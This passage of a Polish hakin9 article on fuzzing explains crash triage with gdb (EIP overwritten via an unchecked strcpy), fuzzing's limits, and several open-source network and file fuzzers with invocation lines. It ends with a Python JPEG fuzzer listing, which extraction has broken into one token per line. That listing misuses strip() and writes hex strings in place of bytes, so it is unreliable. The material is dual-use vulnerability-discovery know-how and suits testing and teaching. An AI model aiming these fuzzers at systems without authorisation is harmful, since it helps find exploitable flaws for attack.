/bin/vulnerable został zamknięty z
sygnałem 11 o godzinie 21:36 13
października i w programie wystąpił
błąd związany z pamięcią. Kiedy au-
tomatyczny fuzzer znajdzie taki wpis,
może porównać dany czas ze swo-
imi własnymi logami, które muszą
zawierać przesłany wpis razem z in-
formacją o czasie, kiedy został wy-
słany. W ten sposób określi on, co
spowodowało nieprawidłowe działa-
nie programu.

Ponadto można obserwować za-

chowane programów, które są zależ-
ne od programu poddawanego fuz-
zingowi. W przypadku, gdy nastąpi
nieprawidłowe zakończenie jednego
z nich, jest bardzo prawdopodobne,
że ma to jakiś związek z testowanym
programem.

Zaraz po tym, jak fuzzer wykry-

je błąd, zadaniem osoby przeprowa-
dzającej test jest określenie, jak da-
lece wpływa on na bezpieczeństwo
programu. Aby tego dokonać, trzeba
przyjrzeć się stanowi, w jakim znaj-
dował się program, kiedy nastąpił
crash. W przypadkach, kiedy moż-
na w łatwy sposób powtórzyć crash,
program może zostać po prostu uru-
chomiony poprzez debuggera. Jed-
nak w razie, gdy crash z jakiejś przy-
czyny nie jest łatwy do powtórzenia,
zaleca się użycie coredump, który
zapisze informacje na temat stanu
programu w chwili, w której nastą-
pił crash do pliku. Następnie może
on zostać użyty przez debuggera do
analizy stanu, w jakim znajdował sie
program, kiedy nastąpił crash. Na Li-
stingu 2. pokazano, jak program /bin/

vulnerable, który wcześniej spowo-
dował segmentation fault przedsta-
wiony na Listingu 1, jest poddawany
bliższej analizie za pomocą gdb.

Dzięki użyciu info reg wydruko-

wana jest zawartość wszystkich re-
jestrów procesora w momencie cra-
shu. Dzięki temu możemy zauwa-
żyć, że EBP, jak i EIP zawierają war-
tości 0x41414141. Najprawdopodob-
niej oznacza to, że zostały nadpi-
sane przez kilka znaków A. Ponie-
waż uwiarygodnia to przypuszcze-
nie, że za crash programu odpowia-
da jakiś rodzaj przepełnienia bufora,
kolejnym logicznym krokiem jest roz-
kład funkcji main() programu. Przyj-
rzyjmy się dokładniej kodowi asem-
blera przy 0x000007b3. Jak widzi-
my, parametr przekazywany poprzez
linię poleceń jest bez sprawdzania
kopiowany do bufora na stosie przy
użyciu funkcji strcpy(), która jest do-
brze znana ze swojego niepewnego
działania.

Ustaliliśmy więc, na czym pole-

ga słabość programu. Jednocześnie
możemy mieć pewność, że ma to
znaczenie dla bezpieczeństwa, po-
nieważ przepełnienie bufora pozwa-
la nam kontrolować rejestr EIP, a w
ten sposób i execution flow. To jest
miejsce, w którym trzeba będzie roz-
począć prawdziwą pracę; będzie to
albo praca dewelopera, który spró-
buje wyeliminować podatną na atak

Rysunek 3.

Strona internetowa University of Oulu

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

66

funkcję, albo praca hakera, który
spróbuje napisać exploita wykorzy-
stującego nowoodkryty słaby punkt.

Problemy z fuzzingiem

Mimo że fuzzing oferuje wiele ko-
rzyści w kwestii testów oprogramo-
wania, istnieją też pewne problemy,
które mogą znacząco obniżyć sku-
teczność procesu testowania. Przy-
toczymy tutaj przynajmniej te naj-
ważniejsze.

Czasami program zawiera kilka

błędów, które są wywoływane przez
to samo wejście. W przypadku, kiedy
błąd, który występuje jako pierwszy,
powoduje crash programu, niemoż-
liwe jest, żeby fuzzer odszukał dru-
gi. Wydaje się to nie mieć większego
znaczenia. Jednak staje się bardzo
interesujące dla hakera, kiedy błąd
wywołany najpierw nie jest istotny
dla względów bezpieczeństwa. Po-
nieważ dostęp do drugiego i poten-
cjalnie niebezpiecznego błędu jest
zablokowany, program jest bezpiecz-
ny przez fakt, że został źle napisany.
W tym przypadku istnieje kilka spo-
sobów podejścia do problemu, któ-
re może wybrać osoba przeprowa-
dzająca test: może ona spróbować
wywołać tylko drugi błąd, używając
bardziej precyzyjnie zaprojektowa-
nego wejścia; może zgłosić znalezio-
ny błąd deweloperom i czekać, aż oni
rozwiążą problem; wreszcie może
spróbować wyeliminować pierwszy
błąd przy użyciu patcha, zdobywając

w ten sposób prosty dostęp do dru-
giego błędu. Drugie podejście może
okazać się bardzo trudne, jeśli pracu-
jemy z oprogramowaniem, które jest
dostępne tylko w formie binarnej.

Ponadto stopień skomplikowania

obsługi programu może prowadzić
w przypadku fuzzingu do wielu pro-
blemów. Prostym tego przykładem
jest fakt, że o wiele trudniej jest spra-
wić, aby fuzzer działał poprzez złożo-
ne interfejsy, które dostarczają użyt-
kownikowi duży wybór informacji niż
po prostu pozwolić mu na przekazy-
wanie danych wejściowych poprzez
linię poleceń. Poza tym dane wej-
ściowe mogą czasami powodować
wyświetlanie wyskakujących okie-
nek, które trzeba zamknąć, zanim bę-
dzie można przekazać kolejne. W ta-
kim przypadku często niezbędne jest
przechwycenie interfejsów myszki lub
klawiatury systemu operacyjnego,
co ogranicza szybkość fuzzingu do
szybkości reakcji tych interfejsów.

Jeśli fuzzing wykorzystywany

jest do hakowania określonego sys-
temu, niezbędne jest zrekonstruowa-
nie tego właśnie systemu najwier-
niej, jak to możliwe. W przeciwnym
razie może być tak, że crash progra-
mu jest zależny od innych części je-
go własnego systemu i dlatego nie
jest możliwe wywołanie go na syste-
mie, który był oryginalnym celem.

Zależnie od złożoności danych

wejściowych używanych do fuzzin-
gu, ograniczającymi czynnikami mo-

gą być też moc procesora komputera
lub szybkość połączenia sieciowego.
Jeśli testowany program, wymaga na
przykład uwierzytelniania, a dane, któ-
re chcemy wykorzystać do fuzzingu,
leżą poza warstwą uwierzytelniającą,
fuzzer będzie musiał przechodzić pro-
cedurę uwierzytelniającą przed każ-
dym dostępem do programu – zakła-
dając, że nie jest możliwe dostarcze-
nie wielu zestawów danych jednocze-
śnie. Ten sam problem pojawia się,
kiedy chcemy zastosować fuzzing do
pojedynczego fragmentu (ang. single

step), który jest umieszczony za wie-
loma innymi fragmentami wewnątrz
programu. Jak widać, można dopro-
wadzić do dużego obciążenia łącza i
CPU przy niewielkim wysiłku.

Ostatnią, ale nie najmniej waż-

ną rzeczą jest to, że kiedy używa się
fuzzingu, nigdy nie można być pew-
nym tego, że znalazło się niezależ-
nie odtwarzalny błąd, zanim nie do-
kona się analizy kodu binarnego. Z
uwagi na ogromną ilość czynników,
które mogą potencjalnie wpływać
na zachowanie programu, nigdy nie
można mieć pewności co do tego, że
rozważyło się wszystkie z nich.

Praktyka

W pierwszej części artykułu zapo-
znaliśmy się z teoretycznymi podsta-
wami fuzzingu, dowiedzieliśmy się
na czym polega ta technika, gdzie
można jej użyć i do czego odnosi się
termin na wpół poprawnych danych.
Zostały też przedstawione trzy po-
ziomy automatyzacji fuzzingu oraz
wymagania, które muszą być speł-
nione przez osobę przeprowadzają-
cą test i oczywiście sam fuzzer. W
skrócie, jest to wszystko, co powin-
niśmy wiedzieć, żeby kontynuować
i zapoznać się z praktycznym wyko-
rzystaniem fuzzerów.

Na kolejnych stronach tekstu

znajdzie się omówienie najważniej-
szych fuzzerów, które są dostępne
na zasadach open source. Korzysta-
jąc z tej listy jako referencji, można
zacząć przeszukiwać inne popular-
ne aplikacje pod kątem błędów. Każ-
dy fuzzer posiada własną historię od-
krytych błędów. Niektóre z tych błę-
dów są jedynie wymienione w logach

Rysunek 4.

Strona internetowa platformy Peach

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

67

aktualizacji produktu, informacje o
innych są dostępne dopiero wielu
miesiącach.

Nie istnieje fuzzer, który byłby

kompatybilny ze wszystkimi dostęp-
nymi aplikacjami. Aby rozwiązać ten
problem, poznamy łatwy sposób na
napisanie własnego fuzzera przy
użyciu Pythona.

Znane fuzzery

Fuzzery są tworzone przez wielu lu-
dzi w odpowiedzi na różne potrzeby.
Wiele fuzzerów powstaje w firmach
zajmujących się tworzeniem oprogra-
mowania w celu przetestowania ich
własnych produktów. Zwykle nie są
one dostępne publicznie, ponieważ
większość firm niezbyt chętnie rozda-
je narzędzia, które potencjalnie mo-
głyby posłużyć do złamania ich kodu.
Poza tym, istnieje wiele komercyjnych
fuzzerów, przeznaczonych do specja-
listycznych celów. Nie udostępniają
one źródeł i są bardzo drogie. Te dwa
typy fuzzerów dostarczają ogromne-
go potencjału ludziom o grubym port-
felu, którzy chcą zagłębić się w jakiś
specyficzny temat. Jednak z uwagi na
wysoką cenę, nie są one odpowied-
nie dla osób początkujących, które
chcą stawiać pierwsze kroki.

Fuzzery, którym się przyjrzymy,

będą napisane głównie przez stu-
dentów, hakerów lub specjalistów od
zabezpieczeń, którzy zdecydowa-
li się podzielić się wynikami swojej

pracy z resztą świata. Wiele z tych
fuzzerów było początkowo pisane ja-
ko Proof of Concept (PoC), żeby po-
móc pojedynczym osobom doprowa-
dzić do crashu określony program.
Większość z owych fuzzerów nie bę-
dzie w stanie współzawodniczyć z
funkcjonalnością ich komercyjnych
odpowiedników. Ponieważ jednak
są one dostępne na zasadach Open-
Source, każdy z nas ma możliwość
zmiany tego stanu.

Fuzzery sieciowe

Fuzzery sieciowe są ukierunkowa-
ne na programy działające poprzez
sieć. Aby spełnić swoje zadanie, pod-
dają fuzzingowi albo protokół, z które-
go korzysta program, albo informacje
w części, w której umieszczane są da-
ne przesyłane za pośrednictwem pa-
kietów. Fuzzery sieciowe są prawdo-
podobnie najbardziej interesującym
zagadnieniem dla hakerów, ponie-
waż mogą powodować crash poprzez
sieć, co daje możliwość przejęcia kon-
troli nad atakowanym systemem bez
potrzeby fizycznego dostępu. Co wię-
cej, nie ma potrzeby przesyłania ofie-
rze pliku do otwarcia lub wykonania.

Rodzina PROTOS

PROTOS zawiera kilka fuzzerów,
które zostały stworzone na fińskim
University of Oulu w celu poddawa-
nia fuzzingowi różnych protokołów.
Oddzielne projekty nazywane są pa-

kietami testowymi (ang. test suite).
Wszystkie te pakiety testowe są na-
pisane w Javie, co jest dosyć nie-
zwykłe, bo większość nowoczesnych
fuzzerów jest napisana albo w języ-
kach skryptowych w celu zapewnie-
nia większej czytelności, albo szyb-
kich językach takich jak C, aby przy-
spieszyć cały proces fuzzingu. Nie-
mniej jednak, lista programów, któ-
re zostały złamane przy pomocy jed-
nego z tych pakietów jest nieskoń-
czenie długa. Przyjrzyjmy się niektó-
rym członkom rodziny PROTOS, za-
poznajmy się z ich użyciem oraz zo-
baczmy systemy, które zostały zła-
mane za ich pomocą.

Pakiet http–reply jest ukierunko-

wany na protokół HTTP. Aby zyskać
większą precyzję, może być on uży-
wany do poddawania fuzzingowi od-
powiedzi, którą serwer przesyła do
kompatybilnego klienta. Ponieważ
HTTP jest jednym z najczęściej uży-
wanych protokołów w Internecie, wie-
le różnych aplikacji można podda-
wać fuzzingowi przy użyciu tego pa-
kietu testowego. Przykładami takich
aplikacji są przeglądarki, menedże-
ry ściągania plików i środowiska gra-
ficzne. Jest on dosyć prosty w obsłu-
dze. Po uruchomieniu programu po-
przez java –jar c05–http–reply–r1.jar
działa on jak serwer HTTP, nasłuchu-
jąc na porcie 8000. Pakiet z zawarto-
ścią poddaną fuzzingowi jest następ-
nie zwracany za każdym razem, kie-
dy klient łączy się z tym portem i prze-
syła żądanie. W tym przypadku pakiet
testowy pracuje z listą danych, któ-
re zwykle prowadzą do występowa-
nia błędów parsera. Mimo że orygi-
nalne testy zostały zakończone jakiś
czas temu, same pakiety testowe mo-
gą być wciąż używane do łatwego te-
stowania nowych aplikacji. Jeśli chce-
my na przykład poważnie przetesto-
wać naszą bieżącą przeglądarkę, mu-
sielibyśmy lokalnie uruchomić pakiet
testowy i sprawić, aby przeglądarka
nawiązywała cały czas połączenia z

http://localhost:8000. Ten proces moż-
na znacząco ułatwić pisząc skrypt.

snmpv1 to prawdopodobnie naj-

lepiej znany pakiet, zaprojektowa-
ny na University of Oulu. Simple Ne-

twork Management Protocol (SNMP)

Rysunek 5.

GIMP rozpoznaje anomalie w obrazie poddanym fuzzingowi

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

68

jest dobrze rozwiniętym protokołem,
przeznaczonym do wydobywania in-
formacji systemowych z docelowej
maszyny poprzez sieć. Wiele syste-
mów wciąż implementuje pierwszą
wersję tego protokołu, mimo że ist-
nieje już wersja o numerze trzy. Jed-
nak wersja pierwsza została prak-
tycznie uśmiercona przez snmpv1
wiele lat temu, kiedy to odkryte zosta-
ły pewne jej strukturalne słabości. Te
słabe punkty powodowały, że moż-
liwe było doprowadzenie do crashu
dowolnego programu lub nawet wy-
konanie arbitralnego kodu, jeśli za-
implementowana została określona
funkcjonalność SNMP. snmpv1 skła-
da się z dwóch oddzielnych pakietów,
z których jeden służy do poddawania
fuzzingowi żądań, drugi przeznaczo-
ny jest poddawaniu fuzzingowi puła-
pek. Oba z nich korzystają z takiej
samej podstawowej składni poleceń.
Po uruchomieniu poprzez java –jar

c06–snmpv1–req–app–r1.jar –host

hostname rozpoczynają przesyła-
nie na wpół poprawnych pakietów do
komputera określonego za pomocą

hostname. Potem wszystko, co po-
zostaje do zrobienia, to sprawdze-
nie komputera, na którym działa im-
plementacja SNMP, pod kątem wadli-
wego działania.

Dosyć nowym pakietem testowym

jest sip. Już patrząc na jego nazwę
można odgadnąć, że używa się go
do poddawania fuzzingowi protokołu
SIP, będącego podstawą Voice over

Internet Protocol (VoIP), który aktual-
nie staje się popularny. Aby osiągnąć
większą precyzję, komunikat INVITE,
który jest wykorzystywany do usta-
nowienia połączeń między systema-

mi biorącymi udział w komunikacji,
jest poddawany fuzzingowi. Rezulta-
ty tego działania były bardzo przeko-
nujące. Większość testowanych sys-
temów nie była w stanie dalej dzia-
łać stabilnie. Wiele załamań prowa-
dziło do luk w zabezpieczeniach sys-
temu. Ten fakt został dobitnie zade-
monstrowany poprzez stworzenie kil-
ku exploitów DOS i exploita przepeł-
niającego bufor na zasadzie Proof of

Concept (PoC). Jest to jeszcze jeden
przykład potwierdzający dobrze zna-
ny fakt, że technologie, które rozwija-
ją się bardzo szybko w wyniku duże-
go powszechnego zainteresowania,
wykazują często braki w dziedzinie
bezpieczeństwa. Pakiet testowy ofe-
ruje wiele opcji umożliwiających do-
stosowanie go w zależności od po-
trzeb. Jednak jeśli odłoży sie na bok
większość z tych opcji, obsługa pa-
kietu testowego staje się całkiem pro-
sta. Po uruchomieniu go poprzez wy-
wołanie java –jar c07–sip–r2.jar –to-

uri foo@bar.com przesyła komunika-
ty INVITE do systemu określonego
za pomocą –touri.

mangleme i HTMLer

Mangleme jest fuzzerem napisanym
w C. Został stworzony przez hakera
o pseudonimie the evil twin do pod-
dawania fuzzingowi HTML. Jego ob-
sługa jest bardzo prosta. Po pomy-
śłnym skompilowaniu źródeł nowo-
utworzony plik mangleme.cgi musi
zostać skopiowany do folderu CGI
serwera web i musi uzyskać do nie-
go dostęp przeglądarka, którą chce-
my przetestować. Przy każdym do-
stępie, na wpół poprawny dokument
HTML jest wysyłany do przeglądarki.

Dlatego zaleca się utworzenie skryp-
tu, który spowoduje, że przeglądar-
ka będzie nieustannie otwierać plik.
Mangleme udowodnił swoją wyjątko-
wą skuteczność. Zdołał złamać każ-
dą znaną przeglądarkę, a także spo-
rą ilość spośród mniej popularnych.

HTMLer jest fuzzerem napisa-

nym w Pythonie. Został stworzony
przez nd jako port mangleme. Jed-
nak w odróżnieniu od mangleme nie
tworzy on stron internetowych na żą-
danie. Po uruchomieniu python htm-

ler.py, wszystkie na wpół popraw-
ne dokumenty HTML są zapisywa-
ne w folderze o nazwie html1. Dla-
tego też niezbędne jest zapewnie-
nie, aby przeglądarka była w sta-
nie otwierać oddzielne pliki jeden po
drugim. HTMLer zawiera pewne roz-
szerzenia w stosunku do mangleme.
Doprowadziło to do odkrycia niektó-
rych nowych błędów wewnątrz Inter-
net Explorera. Luka, która jest chyba
najbardziej znana, pozwalała na wy-
konanie arbitralnego kodu wewnątrz
Internet Explorera podczas parsingu
iframes. Została ona niewiele później
wykorzystana przez robaka znanego
jako W32/Bofra lub W32/Mydoom i
doprowadziła do zarażenia ogromnej
liczby systemów.

ircfuzz

Ircfuzz jest napisany w C. Stworzył
go Ilja van Sprundel do poddawa-
nia fuzzingowi klientów IRC. Fuzzer
działa jako demon IRC i nasłuchuje
przychodzące połączenia, kiedy zo-
stanie aktywowany. Połączony klient
jest następnie zalewany na wpół po-
prawnymi danymi. Jak dotąd, zdo-
łał spowodować crash 36 głównych
klientów IRC. Wśród nich są popu-
larne, takie jak BitchX, mIRC, xchat,
trillian i kopete. Na cały fuzzer skła-
da się jeden plik z kodem źródło-
wym, który można łatwo skompilo-
wać za pomocą GCC. Wykonanie
nowoutworzonego programu nie wy-
maga podawania argumentów. Po
uruchomieniu fuzzer będzie nasłu-
chiwać połączeń na porcie 6667.

dhcpfuzz

Dhcpfuzz jest kolejnym fuzzerem,
którego autorem jest Ilja van Sprun-

Rysunek 6.

Program kończy działanie z błędem dzielenia przez zero

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

69

del. Jednak tym razem do jego stwo-
rzenia użył on Perla. Działa jak nor-
malny klient DHCP i przesyła na
wpół poprawne pakiety do sieci. Ob-
sługa jest więc tak prosta, jak wywo-
łanie klienta DHCP. Wszystko, co
trzeba zrobić, to uruchomić go bez
podawania jakichkolwiek parame-
trów. Co interesujące, programy do-
prowadzone do załamania w wyniku
działania tych fuzzerów nie są tymi,
które podejrzewalibyśmy o to zgod-
nie z powszechną logiką fuzzingu.
Zamiast powodować crash serwe-
rów DHCP, dhcpfuzz odkrywa słabe
punkty w tcpdump i dhcpdump. Na

razie nie jest w stanie poddawać fuz-
zingowi klientów DHCP.

scapy

Scapy w rzeczywistości nie jest fuz-
zerem, ponieważ nie był początkowo
przeznaczony do generowania na
wpół poprawnych danych. Jest to ra-
czej narzędzie napisane w Pythonie,
stworzone przez Phillippe'a Bion-
di do manualnego tworzenia pakie-
tów z niskopoziomowym dostępem
do ich danych. Jego początkowym
przeznaczeniem było tworzenie pa-
kietów do debugowania i analizy sie-
ci. Ponieważ jest całkowicie napisa-

ny w Pythonie może łatwo być dołą-
czany do innych projektów Pythona.
Dzięki temu mamy prawie nieskoń-
czone możliwości tworzenia fuzze-
rów wysyłających pakiety w zasięgu
ręki! Możliwe jest na przykład utwo-
rzenie dowolnego pakietu standardo-
wego, a następnie zmiana czegokol-
wiek wewnątrz narzędzia hexdump.
Oczywiście możemy też zdefiniować
funkcję, która będzie modyfikować
dane w samym narzędziu hexdump.
W ten sposób, zwykły protokół może
bardzo łatwo być łączony z losowymi
danymi i przesyłany później do sieci.
Ponieważ scapy zajmuje się wszyst-
kimi częściami pakietu, nie musimy
się martwić informacjami dla war-
stwy Ethernet, poprawnymi sumami
kontrolnymi i podobnymi rzeczami.

Poza tym, że można go dołączyć

jako moduł do innych skryptów Py-
thona, scapy może również zostać
uruchomiony z powłoki Pythona.
Umożliwia to szybkie tworzenie pa-
kietów przeznaczonych do dalsze-
go badania określonego problemu w
zależności od potrzeb. Ta opcja jest
bardzo przydatna, kiedy mamy do
czynienia z nieoczekiwanym zacho-
waniem podczas fuzzingu.

Fuzzery plikowe

W przeciwieństwie do fuzzerów sie-
ciowych, które poddają fuzzingo-
wi pakiety bądź dane, fuzzery pliko-
we są przeznaczone do manipulowa-
nia częściami określonych plików. Są
one otwierane za pomocą odpowied-
niego oprogramowania. Ta procedu-
ra jest następnie powtarzana do mo-
mentu wystąpienia usterki w progra-
mie. Fuzzer może np. manipulować
obrazami, które są później otwierane
przez program kreślarski, przeglą-
darkę obrazów, przeglądarkę, środo-
wisko graficzne i wiele innych aplika-
cji. Ponieważ wiele plików poddawa-
nych w ten sposób fuzzingowi wystę-
puje w formie binarnej, ich podział na
logiczne kompleksy nie jest tak łatwy,
jak w przypadku pakietów lub danych
przesyłanych w formacie ASCII. Stąd
rozwiązanie polegające na używa-
niu losowych danych jest o wiele bar-
dziej powszechne w przypadku tych
fuzzerów. Ma to sens tym bardziej,

Listing 3.

Fuzzer JPG napisany w Pythonie

#! /bin/env python

from

sys

import

argv

from

sys

import

exit

from

random

import

randint

header

=

"

\x

ff

\x

d8

\x

ff

\x

e0

\x

00

\x

10

\x

4a

\x

46

\x

49

\x

46

\x

00

\x

01"

closer

=

"

\x

ff

\x

d9"

def

chance

():

if

randint

(

1

,

10

)

==

5

:

return

1

else

:

return

0

try

:

original

=

open

(

argv

[

1

]

,

"r"

)

except

:

print

"Wrong input–filename!

\n\n

Usage: ./test–jpeg.py filename output

[–v]"

exit

()

content

=

original

.

read

()

original

.

close

()

torso

=

content

.

strip

(

header

)

.

strip

(

closer

)

array

=

[]

for

a

in

torso

:

array

.

append

(

a

)

count

=

0

while

count

<

len

(

array

):

if

chance

():

array

[

count

]

=

hex

(

randint

(

0

,

255

))

count

+=

1

fuzztorso

=

""

for

a

in

array

:

fuzztorso

+=

a

final

=

header

+

fuzztorso

+

closer

if

len

(

argv

)

==

4

:

if

argv

[

3

]

==

"–v"

:

print

final

else

:

print

"Invalid Option!

\n\n

Usage: ./test–jpeg.py filename output

[–v]"

try

:

output

=

open

(

argv

[

2

]

,

"w"

)

except

:

print

"Invalid output–filename!

\n\n

Usage: ./test–jpeg.py filename output

[–v]"

output

.

write

(

final

)

output

.

close

()

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

70

że większość plików nie zawiera sum
kontrolnych lub podobnych rzeczy,
którymi trzeba by się zajmować.

notSPIKEfile i filefuzz

NotSPIKEfile jest fuzzerem działa-
jącym w śrdowisku Linuksa prze-
znaczonym do poddawania fuzzin-
gowi dowolnych plików. Został na-
pisany przez Adama Greene'a w
C. NotSPIKEfile oferuje bardzo wy-
soki poziom automatyzacji i w ten
sposób znacząco obniża wymaga-
nia, jakie musi spełniać osoba prze-
prowadzająca test. Jednak instala-
cja może sprawiać trudności oso-
bom, które nie znają Linuksa. Po
skompilowaniu i konsolidacji pro-
gramu za pomocą skryptu powłoki
. /make.sh, musimy zmodyfikować
zmienną środowiskową LD_LIBRA-

RY_PATH, aby dołączyć bibliotekę

libdisasm.so wymaganą przez not-
SPIKEfile. Bibliotekę tę można zna-
leźć w folderze podrzędnym źródeł,
które właśnie skompilowaliśmy. Mo-
żemy uzyskać szybką pomoc, wy-
dając po prostu polecenie export

LD_LIBRARY_PATH=$LD_LIBRA-

RY_ PATH:. /libdisasm /src /arch/

i386/libdisasm/

W ten sposób powinno być moż-

liwe uruchomienie notSPIKEfile bez
żadnych dalszych problemów. Pod-
stawowa składnia poleceń jest łatwa
do zrozumienia. Mimo że NotSPIKE-

file oferuje kilka opcji, wszystkie po-
siadają standardowe wartości. Dla-
tego składnia testująca GhostScript
przy pomocy na wpół poprawnych
plików PostScript jest następująca:
./notSPIKEfile –o fuzz.ps input.ps
"/usr/bin/gs %FILENAME%"

Oznacza to polecenie notSPIKE-

file poddania fuzzingowi pliku o na-
zwie input.ps i zapisanie rezultatów
do pliku o nazwie fuzz.ps. Następnie
uruchamiany jest program /usr/bin/

gs. Pole %FILENAME% jest auto-
matycznie zastępowane nazwą pliku
zawierającego dane poddawane fuz-
zingowi. NotSPIKEfile automatycz-
nie próbuje określić, czy testowany
program ulega załamaniu. Jeśli tak
jest, dane opisujące crash, takie jak
np. zawartość rejestrów procesora,
są zapisywane.

Filefuzz to program dość podob-

ny do notSPIKEfile. Jednak działa w
systemie Windows i w ramach plat-
formy .NET Framework. Co więcej,
oferuje graficzny interfejs użytkowni-
ka, co ułatwia jego eksploatowanie.
Podobnie jak notSPIKEfile, próbuje
wykrywać crash automatycznie.

mangle

Mangle (nie chodzi o mangleme, to in-
ny program) jest fuzzerem plikowym
napisanym w C przez Ilję van Sprun-
dela. Jest bardzo prosty i przez to
składa się z około 60 linijek kodu. Jako
pierwszego argumetu, mangle ocze-
kuje nazwy pliku. Opcjonalnie, dłu-
gość nagłówka może zostać przeka-
zana jako drugi argument. Mangle wy-
pełnia do 10% nagłówka pliku przy-
padkowymi danymi. Ten fuzzer jest
zwykle używany razem ze skryptem,
który na przemian uruchamia go i te-
stowany program. Nawet jeśli mangle
obywa się bez wielkiej filozofii i posiada
prostą strukturę, był w stanie odnosić
wielkie sukcesy. Dziesiątki procesów
zostało doprowadzonych do załamania
z jego pomocą. Wśród nich są mplay-
er, Internet Explorer i OpenOffice oraz
takie ciekawostki, jak ELF–Loader róż-
nych BSD i pochodnych Solarisa oraz
części kernela Linuksa w wersji 2.4.29
odpowiadające za wczytywanie syste-
mu plików. Jest to dowód na począt-
kową tezę artykułu, że systemy plików
również mogą być celem fuzzingu.

COMbust

COMbust jest fuzerem napisanym
przez Frederica Bret–Mouneta do
poddawania fuzzingowi obiektów
COM. Niestety jest on dostępny tyl-
ko w postaci binarnej. COMbust wy-
konuje funkcje obiektów skrypto-
wych (ang. scriptable objects) z róż-
nymi parametrami. Ponieważ atak
na obiekty skryptowe jest raczej no-
wą techniką, COMbust był w stanie
doprowadzić do wielokrotnego za-
łamywania się podstawowej wer-
sji Windows XP SP2. Z uwagi na
fakt, że @stake–company, dla któ-
rej Bret–Mounet napisał COMbust,
została ostatnio przejęta przez Sy-
mantec, przyszłość tego obiecujące-
go fuzzera jest raczej niepewna.

Platformy fuzzingowe

Napisanie fuzzera może stać się
dość żmudnym zajęciem, w zależno-
ści od złożoności tego procesu. Jak
zobaczyliśmy, proste fuzzery pliko-
we mogą mieć tylko kilka linijek ko-
du. Inne fuzzery jednak zawierają
kody źródłowe liczone w megabaj-
tach i składają się z tysięcy linii kodu.
Bardziej złożone projekty mogą więc
stać się trudne do wykonania dla po-
jedynczego dewelopera.

Platformy fuzzingowe przycho-

dzą w takich przypadkach z pomo-
cą. Dostarczają klas lub funkcji dla
określonych języków programowa-
nia, co powoduje, że tworzenie fuz-
zerów staje się o wiele łatwiejsze.
Zwykle, funkcjonalność dostarcza-
na w ten sposób obejmuje struktury
do generowania przypadkowych da-
nych w określonym formacie, powta-
rzanie różnych wariantów lub trans-
misję pakietów. Przyjrzyjmy się więc
bliżej niektórym dobrze znanym plat-
formom fuzzingowym.

SPIKE i SPIKEfile

SPIKE został napisany przez Dave-
'a Aitela w C jako platforma dla fuz-
zingu protokołów sieciowych. Jest
to prawdopodobnie najlepiej znana
platforma fuzzingowa, dostarczają-
ca ogromnej funkcjonalności, w tym
wsparcia dla wszystkich popular-
nych protokołów. Nazwa SPIKE (ko-
lec) wywodzi się od struktury, na któ-
rej opiera się programowanie. Zdefi-
niowanym blokom danych przypisa-
ne są takie atrybuty, jak długość, for-
mat lub kodowanie. Bloki te nazywa-
ne są SPIKEs i są elementami fak-
tycznie używanymi do fuzzingu.

Z uwagi na strukturę blokową,

SPIKE oferuje wielkie możliwości
nawet w przypadku nieznanych pro-
tokołów. Wszystko, co trzeba zrobić,
to przechwycić pojedynczy pakiet,
skopiować i wkleić go do własnego
programu jako binarny dump. Na-
stępnie, te jego części, które wyda-
dzą się interesujące mogą zostać za-
stąpione przez odpowiednio zmody-
fikowane bloki SPIKEs. Za pomocą
kilku linii kodu można spowodować,
by program przerobił zdefiniowane
bloki, poddał w ten sposób fuzzin-

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

71

gowi pakiet i przesyłał go nieustan-
nie do sieci.

Wielu ludzi narzeka na to, że SPI-

KE nie posiada dobrej dokumentacji.
Są dwa powody takiego stanu rzeczy.
Po pierwsze wczesne wersje SPIKE
zawierały bardzo ograniczony mate-
riał objaśniający. Co więcej, bibliote-
ki, które są napisane w C zwykle bar-
dzo trudno jest intuicyjnie zrozumieć.
Ta sprawa została rozwiązana w aktu-
alnej wersji 2.9, która zawiera obszer-
ną dokumentację wraz z dużą ilością
przykładowych programów, które uła-
twiają solidny start z tą platformą, bez
względu na to, czy odpowiada nam
teoretyczne podejście do nauki po-
przez czytanie dokumentacji czy też
wolimy podejście typu kopiuj–wklej.
Dostępny jest nawet graficzny fron-
tend napisany w pakiecie wxPython,
który ma na celu ułatwienie obsługi.

Poza bibliotekami, które są na-

pisane w C, SPIKE implementu-
je też swój własny format plików
zwany .spk, który jest interpretowa-
ny przez program główny jak język
skryptowy.

Zazwyczaj SPIKE nie ma możli-

wości poddawania fuzzingowi plików,
do tego celu przeznaczony jest SPI-
KEfile. Jest to zmodyfikowana wer-
sja SPIKE, która nie zapewnia żadne-
go wsparcia dla protokołów sieciowe-
go, za to wspiera pliki. Teoria fuzzingu
oparta na blokach stosowana w SPI-
KE jest kontynuowana, tak więc prze-
łączanie się z jednego do drugiego
jest dosyć proste. SPIKE jest platfor-
mą, na której oparty jest zaprezento-
wany wcześniej fuzzer notSPIKEfile.

SMUDGE

SMUDGE to akronim, który ozna-
cza Software Mutilation Utility and

Da Generation Engine. Został napi-
sany przez nd w Pythonie. Podob-
nie jak SPIKE, jego celem jest pod-
dawanie fuzzingowi protokołów sie-
ciowych. Ponieważ jest napisany w
języku skryptowym, dziedziczy ela-
styczność klas tego języka. Przy-
kładowo, SMUDGE nie musi wpro-
wadzać swojego własnego interpre-
towanego formatu plików tak, jak to
robi SPIKE, ale opiera się raczej na
funkcjonalności Pythona.

Nawet jeśli SPIKe nie może kon-

kurować z zakresem funkcjonalno-
ści SPIKE, wciąż zapewnia procedu-
ry dla wszystkich głównych protoko-
łów i dlatego może być używany do
szybkiego tworzenia fuzzerów w Py-
thonie. Stringi wykorzystywane do
fuzzingu są dość podobne do tych
używanych przez SPIKE, co powo-
duje, że obie platformy często osią-
gają podobne wyniki. Innym plusem
tego, że SMUDGE został napisany w
Pythonie, jest fakt, że jego obsługa
jest o wiele bardziej intuicyjna niż w
przypadku SPIKE.

Peach

Peach jest platformą fuzzingową na-
pisaną w Pythonie przez Michaela
Eddingtona. Zgodnie z tym, co sam
autor mówi, napisał go popijając pi-
wo nad ph–neutral 0x7d4. W przeci-
wieństwie do platform, które omawia-
liśmy do tej pory, Peach nie ograni-
cza się do protokołów sieciowych, a
raczej zapewnia wsparcie dla możli-
wie wszystkiego, co można by chcieć
poddać fuzzingowi, od plików do pro-
tokołów, od aplikacji sieciowych do
